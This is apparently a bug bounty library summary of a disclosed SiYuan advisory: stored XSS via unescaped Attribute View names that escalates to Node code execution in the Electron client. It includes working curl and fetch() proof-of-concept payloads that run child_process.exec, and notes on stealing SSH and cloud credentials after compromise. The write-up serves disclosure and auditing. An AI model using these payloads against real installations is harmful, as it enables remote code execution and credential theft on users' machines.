# SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE

Unescaped Attribute View names stored by SiYuan kernel are rendered raw in three client sinks, giving stored XSS that becomes Node RCE in the Electron renderer.

- Payout: Research
- Severity: critical
- Program: SiYuan
- Found by: amwhoi
- Disclosed: 2026-05-08
- CVE: CVE-2026-44670
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-2h64-c999-c9r6
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-2h64-c999-c9r6
- Tags: area:web3 domain:desktop impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:electron tech:go technique:chained technique:source-review vuln:rce vuln:xss

**Target:** SiYuan kernel API /api/transactions setAttrViewName and Electron desktop renderer
**Root cause:** Kernel stores AV names without HTML escaping and substitutes them raw into an HTML template; three client sinks (render.ts outerHTML, Title.ts innerHTML, transaction.ts innerHTML for av-names) also skip escaping, unlike sibling fields that use Lute.EscapeHTMLStr.
**Steps:**
1. Install SiYuan v3.6.5, leave AccessAuthCode empty; confirm `curl -s http://127.0.0.1:6806/api/system/version` returns 3.6.5.
2. Create a Database (AV) block via `/database` in a doc; capture AV_ID from newest file in `$WS/data/storage/av/` and DOC_ID from the doc's data-node-id.
3. POST to `/api/transactions` with `action: setAttrViewName`, `id: $AV_ID`, `data: "<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">"`.
4. Verify stored name is raw HTML via `python3 -c "import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])"`.
5. Switch away from the doc and re-open it; genTabHeaderHTML returns HTML written via outerHTML at render.ts:596, firing onerror and launching Calculator/xcalc.
6. Remote path: a `chrome-extension://` origin (allowlisted in session.go:277) issues the same fetch to plant the payload.
**How found:** Code review comparing sibling cases in transaction.ts: bookmark/name/alias/memo all wrap with Lute.EscapeHTMLStr while `custom-avs`/`av-names` does not (raw `data.new["av-names"]`) — the inconsistency flagged the missed escape; tracing back found the kernel's raw strings.ReplaceAll template and the Electron webPreferences that turn HTML injection into RCE.
**Exploitation:** Attacker with admin-equivalent local API access (default install auto-grants Administrator to local-origin requests; chrome-extension:// origins allowlisted) plants an `<img onerror>` payload as an AV name. Payload persists on disk, syncs via S3/WebDAV/cloud, survives .sy.zip export-import, and fires when any user (including Reader publish viewers) opens a doc bound to the AV, executing Node code in the Electron renderer with nodeIntegration:true, contextIsolation:false, webSecurity:false.
**Escalation:** Renderer XSS escalates to full Node RCE due to insecure Electron webPreferences; post-RCE gives filesystem read of ~/.ssh, ~/.aws/credentials, conf/conf.json (API token + AccessAuthCode hash), persistence via .bashrc/Startup/LaunchAgent, and cloud pivot. Distribution via browser extensions, shared .sy.zip, Bazaar templates, sync peers, co-authors.
**Insight:** When auditing renderers, diff sibling branches in the same switch/if-chain: fields that share a code path but skip the escaping helper used by neighbors are prime XSS candidates. Also check Electron webPreferences (nodeIntegration/contextIsolation/webSecurity) to see whether any DOM XSS is actually RCE.

## Proof of concept (copied exactly from the original report)

**curl planting XSS payload as AV name**

```
curl -s -X POST $API/api/transactions \
  -H 'Content-Type: application/json' \
  --data-binary @- <<EOF
{
  "session": "x",
  "app": "siyuan",
  "transactions": [{
    "doOperations": [{
      "action": "setAttrViewName",
      "id": "$AV_ID",
      "data": "<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">"
```

**Browser extension fetch() exploit script**

```
fetch('http://127.0.0.1:6806/api/transactions', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    session: 'x', app: 'siyuan',
    transactions: [{ doOperations: [{
      action: 'setAttrViewName',
      id: '<av-id-discovered-via-prior-recon-fetches>',
      data: `<img src=x onerror="require('child_process').exec('xcalc')">`
```

**Verify unescaped stored payload**

```
python3 -c "import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])"
Expected output (the raw HTML as stored — `print` does not escape `"`, so they appear as literal quotes):
<img src=x onerror="require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')">
```

